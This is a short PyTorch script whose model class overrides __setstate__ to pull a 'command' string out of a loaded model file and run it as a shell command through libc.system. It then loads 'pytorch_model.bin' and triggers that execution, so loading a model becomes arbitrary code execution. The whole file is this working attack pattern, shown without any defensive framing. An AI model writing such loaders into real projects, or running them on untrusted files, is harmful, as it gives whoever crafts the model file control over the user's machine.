import torch
import torch.nn as nn

class MyModel(nn.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        self.dummy_layer = nn.Linear(10, 10)  # Dummy layer for example

    def forward(self, x):
        return self.dummy_layer(x)

    def __setstate__(self, state):
        super().__setstate__(state)
        # Extract and execute the command from state
        command = state.get('command')
        if command:
            import ctypes
            libc = ctypes.CDLL("libc.so.6")
            result = libc.system(command.encode('utf-8'))
            print(f"Command '{command}' executed with result code {result}")

# Load the model's state dictionary and command metadata
state = torch.load('pytorch_model.bin')

# Create an instance of the model
loaded_model = MyModel()
loaded_model.__setstate__(state)

print("Model loaded and command executed")